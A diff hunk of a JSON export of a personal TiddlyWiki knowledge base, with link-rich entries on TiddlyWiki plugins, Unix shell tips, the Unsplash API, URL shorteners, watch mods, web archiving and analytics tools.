''official plugins''\n\n* There exists the useful [[BrowserStorage plugin|https://tiddlywiki.com/static/BrowserStorage%2520Plugin.html]], good when working on browsers that crash or when tabs reload themselves.\n** For optimal extra features like status indicators on tiddlers, or list of in-storage tiddlers, there exists the [[tw-browser-storage|https://btheado.github.io/tw-browser-storage]] plugin to extend the official one \u003C\u003C[# Git \"https://github.com/btheado/tw-browser-storage\">>. It has some technical issues so I made some edits: [[$:/plugins/btheado/BrowserStorage (drag to install)|$:/plugins/btheado/BrowserStorage]].\n\n!!! Misc\n\n* [[Fun with Feeds (a proof of concept RSS reader)|https://talk.tiddlywiki.org/t/fun-with-feeds-a-proof-of-concept-rss-reader/6490]] --- \u003C\u003C[# TiddlyWiki\"https://saqimtiaz.github.io/sq-tw/temp/feedreader.html\">> (use CTRL+Shift+L to switch to normal UI)\n\n* [[Has anyone generated an RSS feed from TiddlyWiki?|https://talk.tiddlywiki.org/t/has-anyone-generated-an-rss-feed-from-tiddlywiki/966/25]]\n** [[RSS and Atom Feeds for your TiddlyWiki|https://techlifeweb.com/tiddlywiki/tw5tribalknowledge/static/RSS%2520and%2520Atom%2520Feeds%2520for%2520your%2520TiddlyWiki.html]]\n\n\u003C\u003C{\u003C TiddlyWiki/ThirdParty>>\n\n!!! ''Useful Documentation or Articles''\n* \u003C\u003CTwL \" DateFormat \">>\n* \u003C\u003CTwL \" [[Filter Operators]] \">>\n* \u003C\u003CTwL \" MacroCallWidget SetWidget VarsWidget\">>\n* \u003C\u003CTwL \" EditTextWidget RangeWidget CheckboxWidget\">>\n* \u003C\u003CTwL \" [[Table-of-Contents Macros (Examples)]] \">>\n* \u003C\u003CTwL \" [[How to create dynamic editor toolbar buttons]] [[How to create keyboard shortcuts]] \">>\n* [[How to Use Unicode Character (emoji) as Icon of Tags|https://dmitryrck.com/unicode-character-icon-of-tags-tiddlywiki/]] \u003C\u003CTwL \" [[How to create a custom tiddler icon rule]] \">>\n* [[How To Use Tiddlywiki as a Static Site Generator|https://rpdillon.net/how-to-use-tiddlywiki-as-a-static-site-generator.html]]\n\n\u003C\u003C{\u003C TiddlyWiki/Notes 3>>\n\n!! ''Notes/Personal''\n* [[OcttKB/WIP]]"},
+{"title":"TiddlyWiki","created":"20220924193842295","creator":"Octt","icon":"๐","modified":"20240127225041667","modifier":"Octt","page-cover":"https://source.unsplash.com/random/?computer-cat","tags":"TiddlyWiki Wiki Zettelkasten Libre","text":"\\define TwLL(Tid) [[$Tid$|https://tiddlywiki.com/#$Tid$]]\n\n\\define TwL(List)\n|\n\u003C$list filter=\"$List$\">\n \u003C$macrocall $name=\"TwLL\" Tid=\u003C\u003CcurrentTiddler>> />\n |\n\u003C/$list>\n\\end\n\n[[TiddlyWiki|https://tiddlywiki.com]] is the software upon which this website is built.\n\nIt is a libre, JavaScript-rich, non-linear notebook, that can well adapt to anyone's way of building a logically interconnected information database.\n\n\u003C\u003C^wikipediaframe TiddlyWiki en>>\n\n; What I like\n: All your content and app runtime can stay inside a single HTML file; it will probably work fine in browsers in the decades to come.\n: The base software runs both in the web browser (ES5 or higher?) and [[Node.js]]; the latter makes it possibile to export tiddlers to a file system programmatically, generate static sites, etc...\n: Feature-rich and powerful out of the box, with (up to a certain point) high extensibility.\n: Big community, meaning you can often get help with problems, and many third-party plugins are available.\n: The default configuration works fine on mobile devices, unlike what happens with some plugins.\n\n; What I don't like\n: The Widgets/Filters/Macros systems is based on proprietary paradigms; they are made to allow people without programming experience to do great things, but are cumbersome and hard to learn if you already have common programming experience.\n: [[JavaScript]] extensions are cumbersome, requiring a page reload to work after an edit\n: It's not easy, or sometimes it's not possibile, to extend TiddlyWiki with just pure JavaScript, and trying to do so always requires ugly hacks.\n: Widgets and Filters are essentially an interpreted language working on top of an interpreted language (JS); Since even the app core makes heavy use of them, it suffers from microlags even on modern devices, and can be's almost unusable on very old ones.\n: No built-in tiddler compression and decompression means the HTML file is big by default (~2.3 MB as of v5.2.3) and can get worse with many plugins, causing slow loading and saving.\n\n!! ''Useful Resources''\n\n* Official Git Repos: [[TiddlyWiki5 Source|https://github.com/Jermolene/TiddlyWiki5]], [[Others|https://github.com/TiddlyWiki]]\n* Official Docs: [[Standard|https://tiddlywiki.com]], [[Dev|https://tiddlywiki.com/dev]]\n* [[Links Aggregator|https://links.tiddlywiki.org]]\n* [[Grok TiddlyWiki|https://groktiddlywiki.com]] - //Build a deep, lasting understanding of TiddlyWiki//\n* [[TiddlyWiki Toolmap|https://dynalist.io/d/zUP-nIWu2FFoXH-oM7L7d9DM]]\n\n!!! Notes about ''official plugins''\n\n* There exists the useful [[BrowserStorage plugin|https://tiddlywiki.com/static/BrowserStorage%2520Plugin.html]], good when working on browsers that crash or when tabs reload themselves.\n** For optimal extra features like status indicators on tiddlers, or list of in-storage tiddlers, there exists the [[tw-browser-storage|https://btheado.github.io/tw-browser-storage]] plugin to extend the official one \u003C\u003C[# Git \"https://github.com/btheado/tw-browser-storage\">>. It has some technical issues so I made some edits: [[$:/plugins/btheado/BrowserStorage (drag to install)|$:/plugins/btheado/BrowserStorage]].\n\n!!! Misc\n\n* [[Fun with Feeds (a proof of concept RSS reader)|https://talk.tiddlywiki.org/t/fun-with-feeds-a-proof-of-concept-rss-reader/6490]] --- \u003C\u003C[# TiddlyWiki\"https://saqimtiaz.github.io/sq-tw/temp/feedreader.html\">> (use CTRL+Shift+L to switch to normal UI)\n\n* [[Has anyone generated an RSS feed from TiddlyWiki?|https://talk.tiddlywiki.org/t/has-anyone-generated-an-rss-feed-from-tiddlywiki/966/25]]\n** [[RSS and Atom Feeds for your TiddlyWiki|https://techlifeweb.com/tiddlywiki/tw5tribalknowledge/static/RSS%2520and%2520Atom%2520Feeds%2520for%2520your%2520TiddlyWiki.html]]\n\n* [[Sttot Stack|https://gk0wk.github.io/]] --- gk0wk wiki displayed with a particular tiddler reader web-app, not based on the real TW app\n\n\u003C\u003C{\u003C TiddlyWiki/ThirdParty>>\n\n!!! ''Useful Documentation or Articles''\n* \u003C\u003CTwL \" DateFormat \">>\n* \u003C\u003CTwL \" [[Filter Operators]] \">>\n* \u003C\u003CTwL \" MacroCallWidget SetWidget VarsWidget\">>\n* \u003C\u003CTwL \" EditTextWidget RangeWidget CheckboxWidget\">>\n* \u003C\u003CTwL \" [[Table-of-Contents Macros (Examples)]] \">>\n* \u003C\u003CTwL \" [[How to create dynamic editor toolbar buttons]] [[How to create keyboard shortcuts]] \">>\n* [[How to Use Unicode Character (emoji) as Icon of Tags|https://dmitryrck.com/unicode-character-icon-of-tags-tiddlywiki/]] \u003C\u003CTwL \" [[How to create a custom tiddler icon rule]] \">>\n* [[How To Use Tiddlywiki as a Static Site Generator|https://rpdillon.net/how-to-use-tiddlywiki-as-a-static-site-generator.html]]\n\n\u003C\u003C{\u003C TiddlyWiki/Notes 3>>\n\n!! ''Notes/Personal''\n* [[OcttKB/WIP]]"},
{"title":"TiddlyWiki/Notes","created":"20230127155833205","creator":"Octt","modified":"20231105151047506","modifier":"Octt","tags":"TiddlyWiki $:/i18n:en Discussion","text":"!!! ''Discussions and Solutions''\n\nDiscussions that helped or might help me solve problems, some started by me. And also some that are just plain interesing.\n\n* [[How do you edit your wiki with both the web app and external editors?|https://talk.tiddlywiki.org/t/how-do-you-edit-your-wiki-with-both-the-web-app-and-external-editors/6320]]\n* [[Multilanguage Wiki - Found a solution, but need help for improving it|https://talk.tiddlywiki.org/t/multilanguage-wiki-found-a-solution-but-need-help-for-improving-it/4672]]\n\n\u003Cdiv/>\n\n* [[Date time wiki last updated or saved?|https://groups.google.com/g/TiddlyWiki/c/RxJdciY7yZY]]\n* [[Disable CodeMirror when on Mobile|https://github.com/Jermolene/TiddlyWiki5/issues/2730]]\n* [[Footnotes|https://groups.google.com/g/tiddlywiki/c/u5A6qK7CmrY]]\n* [[I want to edit something, oh no that's a transclusion|https://groups.google.com/g/TiddlyWiki/c/tYgM6kh9lNA]] | [[How do I transclude an edit window of a tiddler?|https://groups.google.com/g/tiddlywiki/c/GsMkfxSPkmA/m/cxGdAieIBgAJ]] | [[How to quickly navigate to a transcluded tiddler?|https://talk.tiddlywiki.org/t/how-to-quickly-navigate-to-a-transcluded-tiddler/4535/5]]\n* [[Is there way to make TiddlyWiki system-wide case insensitive?|https://groups.google.com/g/tiddlywiki/c/BcEF4fTzCj8]]\n* [[Macro to Create TOC Like Table with Dot Leader|https://talk.tiddlywiki.org/t/a-macro-to-create-toc-like-table-with-dot-leader/1232]]\n* [[Simple Javascript insertion in tiddlers (text/vnd.tiddlywiki)|https://groups.google.com/g/tiddlywiki/c/NwOI-QER2ig/m/lSLS3XolwDoJ]]\n* [[[TW5] Tag (Text) Cloud for TW5?|https://groups.google.com/g/tiddlywiki/c/_YE1pjZMFkg]] | [[TagCloud plugin|https://groups.google.com/g/tiddlywiki/c/VQPaJC6yyWM]]\n* [[Setting HTML attributes with a macro?|https://groups.google.com/g/tiddlywiki/c/Qp8Fzi0BR5I/m/N65Q6thTEwAJ]]\n* [[[Plugin] Presenting TW5-Uglify! Plugin compression the TiddlyWIki way!|https://groups.google.com/g/tiddlywiki/c/-kIVw00crRQ]]\n* [[TiddlyWiki Tiddler Editor: How to Improve the Usability?|https://talk.tiddlywiki.org/t/tiddlywiki-tiddler-editor-how-to-improve-the-usability/4657]]\n* [[Using conditional assignment mode of SetWidget to check empty strings|https://groups.google.com/g/tiddlywiki/c/Pzv5FDb9oHE/m/mh5Pzm7xAgAJ]]\n* [[Notes on handling variables in TiddlyWiki|https://www.chrisnicoll.net/2020/02/notes-on-handling-variables-in-tiddlywiki/]]\n* [[Macros are not functions (Grok TW)|https://groktiddlywiki.com/static/Macros%2520are%2520not%2520functions.html]]\n* [[Wikification (Grok TW)|https://groktiddlywiki.com/static/Wikification.html]]\n"},
{"title":"TiddlyWiki/Snippets to Test","created":"20220922163220116","modified":"20230111082334125","tags":"Snippets TiddlyWiki","text":"\u003Cstyle>\ntr:nth-child(even) {background-color: #f2f2f2;}\n\u003C/style>"},
{"title":"TiddlyWiki/ThirdParty","created":"20230206113426599","creator":"Octt","modified":"20231220220541649","modifier":"Octt","tags":"","text":"!!! ''Other Wikis, Plugin Collections''\n\n* [[BrainTest|https://braintest.tiddlyspot.com]] --- //tools for a digital brain//\n* [[Calendar|https://tabbed-calendar.tiddlyspot.com]] --- //a tabbed picture calendar//\n* [[Joe's Blog|https://joearms.github.io]] --- Contains the [[Chandler|https://joearms.github.io/#2018-12-26%20Fun%20with%20the%20TiddlyWiki]] prototype time-management tool\n* [[kookma's codes, macros, and solutions in TW|https://kookma.github.io/TW-Scripts]]\n* Kookma Plugin Library --- \u003C\u003C[ \"[[Drag To Install|$:/config/KookmaPluginLibrary]]\">>\n* [[NoteSelf|https://noteself.org]] --- TiddlyWiki fork/flavor with interesting features built-in - [[[Git|https://github.com/NoteSelf]]]\n* [[Projectify|https://thaddeusjiang.github.io/Projectify]] --- //Project management for TiddlyWiki// - [[[Git|https://github.com/ThaddeusJiang/Projectify]]]\n* [[Saq's TW5 Sandbox|https://saqimtiaz.github.io/tw5-plugins-sandbox]] --- //Experimental doodads//\n* [[Stroll|https://giffmex.org/stroll/stroll.html]] --- //A Roam-like experience in a free, downloadable file//\n* [[The public musings of Soren Bjornstad (Zettelkasten)|https://zettelkasten.sorenbjornstad.com]]\n* [[TiddlyMap|http://tiddlymap.org]] --- //Map drawing and topic visualization for your wiki!// --- [[[Git|https://github.com/felixhayashi/TW5-TiddlyMap]]]\n* [[TiddlySeq|https://gk0wk.github.io/TiddlySeq/]] --- //Logseq-like TiddlyWiki Template// --- \u003C\u003C[ \"[[Git|https://github.com/Gk0Wk/TiddlySeq]]\">>\n* [[TiddlyTools for TW5|https://tiddlytools.com/]] --- //Small Tools for Big Ideas!โข//\n* [[Tobias Beer's Plugins and Resources|https://tobibeer.github.io]] --- [[[Profile|https://tobibeer.github.io/tb5/#Tobias%20Beer]]] [[[Git|https://github.com/tobibeer]]]\n* [[TW5 CPL Wiki|https://tw-cpl.netlify.app]] --- //TiddlyWiki5 Plugin Library for TiddlyWiki Chinese Communities// --- \u003C\u003C[ \"[[Drag to install|$:/config/TiddlyWiki-CPL/GitHub]]\">>\n* [[TW5 Magick|https://tw5magick.tiddlyspot.com]] --- //Some tricks and snippets for TiddlyWiki 5//\n* [[TW5 Plugins, Themes, Hacks by Thomas Elmiger|https://tid.li/tw5/]] --- //Build or optimise your own application for notetaking, writing or a ToDo-list system with these tools//\n** [[Presenting the Details Widget|https://groups.google.com/g/tiddlywiki/c/sRUVnlIaT3E]]\n* [[ZemoxWiki|https://zemox.tiddlyspot.com]] --- //a haphazard meandering of notes, thoughts, experiments, links...//\n\n!!!! ''More personal TiddlyWikis''\n* [[Dave and Blanca Gifford's homepage|https://giffmex.org/Welcome.html]]\n* [[Eberron Tiddlywiki|https://eberron.tiddlyhost.com/]] --- //campaign setting for D&D designed for telling fantastical pulp and noir stories// --- \u003C\u003C[ \"[[Git|https://github.com/wccbuck/eberron_tw/]]\">>\n* [[โ๐ช๐ก๐๐ฃ๐ฑ๐ข๐ต๐ฑ: h0p3|https://h0p3.neocities.org/]] (old domain: [[philosopher.life|https://web.archive.org/web/20221227170107/https://philosopher.life/]])\n* [[makiaea|https://makiaea.org/00045/20230414makiaea.html]] --- contains a cool/strange choose-your-own-adventure thing\n\n!!!! ''Individual Plugins''\n\n* [[Archipel|https://archipel.tiddlyspot.com/]] --- //Data visualization Knowledge map of tiddler's ToC, as zoomable circle packs// --- [[[Discussion|https://groups.google.com/g/tiddlywiki/c/wZZ-84FV0-k]]]\n* [[CodeMirrorPlus|https://adithya-badidey.github.io/TW5-codemirror-plus/]] --- //A better editor for TW5, based on ~CodeMirror// --- [[Demo|https://adithya-badidey.github.io/TW5-codemirror-plus/wiki.html]] | [[Git|https://github.com/adithya-badidey/TW5-codemirror-plus]]\n* [[Context Plugin|https://contextplugin.tiddlyspot.com]] --- //search with context//\n* [[Daily Notes|https://github.com/akhater/Daily-Notes-for-TW5]] - //Interstitial Journaling plugin//\n* [[ECharts|https://tiddly-gittly.github.io/tw-echarts]] [[[Git|https://github.com/tiddly-gittly/tw-echarts]], [[Thread|https://talk.tiddlywiki.org/t/echarts-bringing-amazing-visualization-tools-to-tiddlywiki/1944]]] --- //An All-in-one Visualization Framework for TiddlyWiki5 based on ECharts//\n* [[enable-js|http://tobibeer.github.io/tw/enable-js]] --- //using inline script tags//\n* [[ibox|https://tobibeer.github.io/tw/ibox]] - //pretty-show images in tw5//\n* [[TW5 Locator|https://bimlas.gitlab.io/tw5-locator/]] --- //discover and search by context//, with polished field filtering features --- \u003C\u003C[ \"[[Git|https://gitlab.com/bimlas/tw5-locator]]\">>\n* [[Notion-like Icon And PageCover|https://gk0wk.github.io/TiddlySeq/#Notion-like%20Icon%20And%20PageCover]] --- \u003C\u003C[ \"[[Thread|https://talk.tiddlywiki.org/t/notion-like-icon-and-pagecover/1741]]\">>\n* [Kookma] [[Refnotes|https://kookma.github.io/TW-Refnotes/]] --- //references, citations, footnotes and abbreviations// --- [[[Git|https://github.com/kookma/TW-Refnotes]]]\n* \u003C\u003Clinkdescgit Relink \"https://flibbles.github.io/tw5-relink\" \"flexibility when relinking renamed tiddlers\" \"https://github.com/flibbles/tw5-relink\">>\n* [[Section Editor|https://kookma.github.io/TW-Section]] --- //create, edit, fold, manage sections// --- [[Git|https://github.com/kookma/TW-Section]] | [[Prototype discussion|https://talk.tiddlywiki.org/t/section-editor-prototype/951]]\n* \u003C\u003Clink+desc+git Streams \"https://saqimtiaz.github.io/streams/\" \"Streams is a keyboard friendly way to write and easily divide your text into separate tiddlers while writing.\" \"https://github.com/saqimtiaz/streams\">> --- Adds a structural-visual hierarchy system to TiddlyWiki like Notion/Logseq.\n* [[Syntax-Highlighting Tiny Editor|https://talk.tiddlywiki.org/t/tw5-ready-to-play-prototype-syntax-highlighting-tiny-editor/4569]] (Ready-to-play prototype) --- [[Download|https://talk.tiddlywiki.org/uploads/short-url/853ile3OvoeJ9uowpv0YYXnKhSe.json]]\n\n* [[Keyboard Navigation|https://keynav.tiddlyhost.com/]] --- //A plugin to add keyboard navigation of TiddlyWiki's Story River.//\n* [[tw5-keyboard-navigation|https://maximilian-schillinger.de/tw5-keyboard-navigation-plugin.html]] --- //Navigate through your TiddlyWiki5 with your keyboard: jump to next/previous tiddler, edit or close tiddler// --- \u003C\u003C[# Git\"https://github.com/MaxGyver83/tw5-keyboard-navigation\">>\n\n* [[TWCrossLinks|https://github.com/akhater/TWCrossLinks]] --- //Discover all your intra-tiddlers links//\n\n!!!! ''Individual Themes''\n\n* [[Notebook theme|https://nicolas.petton.fr/tw/notebook.html]] --- //clean, uncluttered theme for TiddlyWiki// --- \u003C\u003C[# Git\"https://github.com/NicolasPetton/notebook\">>\n* [[๐ปโจ whitespace theme|http://j.d.whitespace.tiddlyspot.com/]] --- //negative-spacious, webapp-nostalgic theme for TiddlyWiki//\n"},
@@ -1473,7 +1477,7 @@
{"title":"Unix","created":"20230202232344991","creator":"Octt","modified":"20230608141303707","modifier":"Octt","tags":"$:/i18n:en","text":"\u003C\u003C^wikipediaframe Unix>>\n\n* [[MINIX From Scratch|https://github.com/o-oconnell/minixfromscratch]] - //Development and compilation setup for the book version of MINIX 3//\n\n!!! ''How-to''\n\n* [[Make subdirectory writable by anyone even if parent folder is not|https://unix.stackexchange.com/a/490082]]\n"},
{"title":"Unix/Shell","created":"20230605214923345","creator":"Octt","modified":"20231119150258479","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Unix Shell\">>\n\n* [[Input Field Separators|https://en.wikipedia.org/wiki/Input_Field_Separators]]\n* [[$PWD vs. pwd regarding portability|https://stackoverflow.com/questions/10795014/pwd-vs-pwd-regarding-portability]] --- `$(pwd)` has issues with paths with newline chars, `$PWD` is fine but can be wrongly reset by badly-made programs; all appear to be available on all good shells.\n\n* [[Get/use exit code of command|https://www.cyberciti.biz/faq/bash-get-exit-code-of-command/]] --- Variable `$?`\n\n* [[Split string with symbol|https://stackoverflow.com/a/10638555]]\n* [[How to find the last field using 'cut'|https://stackoverflow.com/questions/22727107/how-to-find-the-last-field-using-cut]] --- `echo 'maps.google.com' | rev | cut -d'.' -f 1 | rev`\n* [[Check if a string begins with some value|https://stackoverflow.com/questions/2172352/in-bash-how-can-i-check-if-a-string-begins-with-some-value#18558871]] --- `beginswith(){ case $2 in \"$1\"*) true;; *) false;; esac; }`\n* [[Remove the extension of a filename, get filename path, ... using POSIX's built-in script only|https://gist.github.com/nimula/385938957bb96234aa62abc6ed8f950e]]\n** [[How can I remove the extension of a filename in a shell script?|https://stackoverflow.com/questions/12152626/how-can-i-remove-the-extension-of-a-filename-in-a-shell-script]]\n\n* \"error: arithmetic expression: expecting primary\"... --- happens when calling an arithmetic expression (e.g. `$(( 5 * 7 ))`) with a missing parameter, or with quotes, in `sh`; `bash` accepts quotes and doesn't error instead. Don't use quotes in mathexps in `sh`.\n"},
{"title":"Unsplash","created":"20230114161806791","creator":"Octt","icon":"๐","modified":"20230221195107270","modifier":"Octt","page-cover":"https://source.unsplash.com/random?web-design","tags":"Internet $:/i18n:en $:/Apps","text":"\u003C!--\n\\define URLRnd() https://source.unsplash.com/random?\u003C$macrocall $name=\"now\"/>\u003C\u003Cnow \"hh.mm.ss.XXX\">>\n--->\n\n''[[Unsplash|https://unsplash.com]]'' provides royalty-free and credit-free pictures, sorted by category and easily obtainable trough both a webapp and an HTTP GET API (even without authentication), under the \"Unsplash license\".\n\n\u003C\u003C^wikipediaframe Unsplash en>>\n\nMany decorative images on this KB are hotliked from Unsplash; some randomly, some not.\n\n!!! ''Unauthenticated API''\n\nThe base URL for all following endpoints is `https://source.unsplash.com`.\n\n\u003C\u003C\u003C\n(Adapted from [[Generate Random Images From Unsplash Without Using The API|https://awik.io/generate-random-images-unsplash-without-using-api/]])\n\nThe URL schema is the following:\n\n```txt\nhttps://source.unsplash.com/{From}/[Size]/?[Keywords]\n```\n\n; `{From}`\n: `/random` - Image from a random user\n: `/user/{Username}` - Image from a specific user\n; `[Size]`\n: `{Width}x{Height}` - Image of specific size of width * height\n; `[Keywords]` - Image with certain keyword[s]; Multiple can be specified by separation with:^^[citation needed]^^\n: `Word1[,...]` - Comma: meaning AND\n: `Word1[-...]` - Dash: meaning OR\n\n\u003C\u003C\u003C\n\n!!! ''Random Picture from the Gallery''\n\n\u003Ca href=\"https://unsplash.com\" rel=\"noopener noreferrer\" target=\"_blank\">\u003Cimg class=\"Img90\" src=\"https://source.unsplash.com/random\">\u003C/a>\n\n\u003C!--\n\u003Ca href=\"https://source.unsplash.com/random?{{{[\u003Cnow hh.mm.ss.XXX>]}}}\">a\u003C/a>\n--->"},
-{"title":"URL shortening","created":"20230823100404453","creator":"Octt","modified":"20230823101738480","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"URL shortening\">>\n\n* [[t.ly|https://t.ly]] --- Apparently the //World's Shortest Link Shortener//\n"},
+{"title":"URL shortening","created":"20230823100404453","creator":"Octt","modified":"20240127213352039","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"URL shortening\">>\n\n* \u003C\u003ChttpsL bit.ly>> --- Classic shortener, but got shitty in recent years and demands and account be made for creating more than 1 link (unless you clear browser site storage)\n* \u003C\u003ChttpsL goo.gl>> --- Shortener which has been #KilledBy[[Google]]\n* \u003C\u003ChttpsL t.ly>> --- Apparently the //World's Shortest Link Shortener//\n* \u003C\u003ChttpsL tinyurl.com>> --- A shortener that I think is standing the test of time, but recently the retro site was replaced with a full-blown webapp\n"},
{"title":"USB","created":"20230205142939788","creator":"Octt","modified":"20231105001706951","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe USB>>\n\n* (even low-power) [[USB storage devices disconnecting without apparent reason|https://askubuntu.com/questions/1266583/usb-storage-devices-disconnecting-without-apparent-reason]] --- short answer: probably the master controller not supplying enough power in bursts and so making the slave crash, some PC motherboards are shit enough to make this happen even with pendrives (which work normally until they draw a lot of current in an instant)\n** \u003C\u003CRedditL r/MSI_Gaming/comments/uqlzk5/b450_gaming_plus_max_usb_ports_not_working \"B450 Gaming Plus Max USB ports not working properly\">>: personal issue of mine\n"},
{"title":"Userscript","created":"20230513220204210","creator":"Octt","modified":"20230531090829342","modifier":"Octt","tags":"Web Hacking","text":"\u003C\u003C^wikipediaframe Userscript>>\n\n* [[Greasy Fork|https://greasyfork.org/]] --- Best site for userscripts --- \u003C\u003C#[ Git \"https://github.com/JasonBarnabe/greasyfork\">>\n* [[Violentmonkey|https://violentmonkey.github.io/]] --- //open-source userscript manager for browsers with WebExtensions support// (the best today) --- \u003C\u003C#[ Git \"https://github.com/violentmonkey\">>\n* Old US managers: [[Greasemonkey|https://www.greasespot.net/]], [[Tampermonkey|https://www.tampermonkey.net/]]\n"},
{"title":"UUID","created":"20231219000436282","creator":"Octt","modified":"20231219000744846","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe UUID>>\n\n* [[RFC4122 - A Universally Unique IDentifier (UUID) URN Namespace|https://www.rfc-editor.org/rfc/rfc4122]]\n* [[Online UUID Generator|https://www.uuidgenerator.net/]] (works without JS) + help pages for implementing in code\n"},
@@ -1491,7 +1495,7 @@
{"title":"Watch","created":"20230216214811117","creator":"Octt","icon":"โ","modified":"20230223225609515","modifier":"Octt","page-cover":"https://source.unsplash.com/random/?watch","tags":"Clock","text":"\u003C\u003C^wikipediaframe Watch en>>\n\n; DIY and Mods\n\n: [[Sensor Watch|https://www.sensorwatch.net/]] - //Board swap for the classic Casio F-91W wristwatch// - [\u003C\u003CYoutubeL Bze61OdEKoQ \"Video about it\">>]\n: \u003C\u003CYoutubeL s2R_Pzl1D2c \"Cheap no-brand wristwatch NFC mod demonstration\">>\n\n: \u003Cdiv>\n\n* [[Data Runner Watch Prototype (Modded Casio F91W) [N-O-D-E]|https://n-o-d-e.net/datarunner.html]] - \u003C\u003CYoutubeL SMkAIG1B0Ow>>\n* \u003C\u003CYoutubeL aGn2_zP8GI8 \"CASIO F91W NFC MOD - DIY F91 Watch NFC Tag Implant Easy Modification\">>\n\u003C/div>\n\n: \u003Cdiv>\n\n* \u003C\u003CYoutubeL 1YPktl_dmao \"Casio A158W Clean Face Mod\">>\n* \u003C\u003CYoutubeL fVrXhoJpAWI \"NFC Mod Casio CA53WF / CA53W Calculator Watch\">>\n\u003C/div>\n\n: \u003C\u003CYoutubeL iOwmIXZRI \"[modding] How Convert Casio MQ-24 to Single Hand Watch\">>\n: \u003C\u003CYoutubeL 4_gOOgApxoQ \"Making the world's most 80's watch\">>\n\n; Reviews\n: \u003C\u003CYoutubeL p_bgE1WJa1Y \"Casio F91W3 - THE GREEN ONE! - I Review Crap!\">> - Has some trivia and interesting facts\n\n!! ''Smartwatch''\n\n\u003C\u003C^wikipediaframe Smartwatch en>>\n\n* [[Open-SmartWatch|https://open-smartwatch.github.io/]]\n* [[PineTime|https://www.pine64.org/pinetime/]]\n"},
{"title":"Wayback Machine","created":"20220923144125627","creator":"Octt","modified":"20230613185301954","modifier":"Octt","tags":"Archiving Internet $:/i18n:en","text":"The [[Wayback Machine|https://web.archive.org]] is a public website archiving service, provided by the [[Internet Archive|Internet Archive]].\n\n[img[https://upload.wikimedia.org/wikipedia/commons/0/01/Wayback_Machine_logo_2010.svg]]\n\n\u003C\u003C^wikipediaframe \"Wayback Machine\">>\n\nThe project exists to fulfill the goal of Web content preservation. It allows for users to visit a snapshot of a webpage captured in the past, serving as a way to preserve history, both in the case of the site owners altering the contents of a page, or simply the server going permanently down.\n"},
{"title":"Web","created":"20230203214532694","creator":"Octt","icon":"๐ธ๏ธ","modified":"20240101230659334","modifier":"Octt","page-cover":"https://source.unsplash.com/random?web","tags":"Internet","text":"\u003C\u003C^wikipediaframe World_Wide_Web en>>\n\n* [[PyScript|https://pyscript.net/]] --- //Run Python in Your HTML// --- \u003C\u003C[# Git\"https://github.com/pyscript\">>\n\n!! User-Agent\n\n\u003C\u003C^wikipediaframe User-Agent>>\n\n* [[User Agents Database|https://user-agents.net/]] --- website collecting many up-to-date user agents, classified and downloadable\n\n!! ''Resources''\n\n* ''[[World Wide Web Consortium|https://www.w3.org/]]'' - //international community that develops open standards to ensure the long-term growth of the Web// - [[[Wikipedia|https://en.wikipedia.org/wiki/World_Wide_Web_Consortium]]]\n* [[Web Hypertext Application Technology Working Group (WHATWG)|https://whatwg.org/]] --- //Maintaining and evolving HTML [Living Standard] since 2004//\n* The ''[[IndieWeb|https://indieweb.org/]]'' is a people-focused alternative to the โcorporate webโ.\n\n* ''Web Archiving Services'': [[Wayback Machine]] | [[archive.today|https://archive.today/]] | [[Ghostarchive|https://ghostarchive.org/]]\n* [[Can I use|https://caniuse.com/]] --- //up-to-date browser support tables for support of front-end web technologies on desktop and mobile web browsers// --- \u003C\u003C[# \"Open Data (Git)\" \"https://github.com/Fyrd/caniuse\">>\n\n!!! ''Tools''\n\n* [[Browserling|https://www.browserling.com/]] | [[BrowserStack|https://www.browserstack.com/?ref=caniuse-source&caniuse_source=brand-asset]] | [[LambdaTest|https://www.lambdatest.com/]] - For testing web app and sites on different browsers, straight online\n* [[HTTrack|https://www.httrack.com/]] - //Website copier, offline browser// - \u003C\u003C[ \"[[Git|https://github.com/xroche/httrack]]\">>\n* [[Webrecorder Project|https://webrecorder.net/]]\n** ''[[ReplayWeb.page|https://replayweb.page/]]'' - //Serverless Web Archive Replay directly in the browser// - \u003C\u003C[ \"[[Git|https://github.com/webrecorder/replayweb.page]]\">>\n* [[TabFS|https://omar.website/tabfs/]] - //browser extension that mounts your browser tabs as a filesystem on your computer// - \u003C\u003C[ \"[[Git|https://github.com/osnr/TabFS]]\">>\n* ''[[W3C Markup Validation Service|https://validator.w3.org/]]'' - //Check the markup (HTML, XHTML, โฆ) of Web documents// - [[[Other similar tools|https://w3c.github.io/developers/tools/]]]\n\n!!! ''Frameworks/Generators/CMS''\n\n(Note: some are in [[Static site generator]].)\n\n* [[Blogger|https://blogger.com]] (Google) --- //Create a unique and beautiful blog easily.//\n** [[Dynamic Views: seven new ways to share your blog with the world|https://blogger.googleblog.com/2011/09/dynamic-views-seven-new-ways-to-share.html]]\n*** [[How to customize Blogger's Dynamic Views templates|https://blog.mridey.com/2015/08/how-to-customize-bloggers-dynamic-views.html]] --- //Dynamic Views uses a token based template format...//\n* [[WordPress]]\n* [[werc - A sane web anti-framework|http://werc.cat-v.org/]] --- //Bringing minimalism and sanity to the web// --- Has interesting features with a fixed but style-customizable layout, + support for apps and extensions.\n* [[H5P|https://h5p.org/]] --- //Create, share and reuse interactive HTML5 content in your browser//\n\n!!! ''Analytics''\n\n* \u003C\u003ChttpL www.freecounterstat.com>> --- Dy befault, blocked by uBlock Origin on the international domain, but several national domains are not, like \u003C\u003ChttpL www.contatoreaccessi.com>> (IT).\n** Multiple `.ovh` subdomains handle the image serving and the access counting, they appear to be functionally equivalent and swappable in case one is blocked, but the already counted accesses are bound to each specific domain, aka you can't swap the domain you embed while keeping the already counted accesses.\n* ''[[GoatCounter|https://www.goatcounter.com/]]'' --- //Easy analytics. Open-source, self-hostable, GDPR-compliant. No tracking of personal data, and works without JS// --- \u003C\u003C[ \"[[Git|https://github.com/arp242/goatcounter]]\">>\n** Note: GoatCounter tracking endpoints are blocked by the default uBlock Origin configuration, must selfhost or arrange some kind of proxy to bypass it.\n* [[Moe Counter!|https://moe-counter.glitch.me/]] (`count.getloli.com`)\n* [[Start Hits|https://hits.seeyoufarm.com]] --- //๐ Easy way to know how many visitors are viewing your Github, Website, Notion ๐// --- \u003C\u003C#[ Git \"https://github.com/gjbae1212/hit-counter\">>\n* //Others: 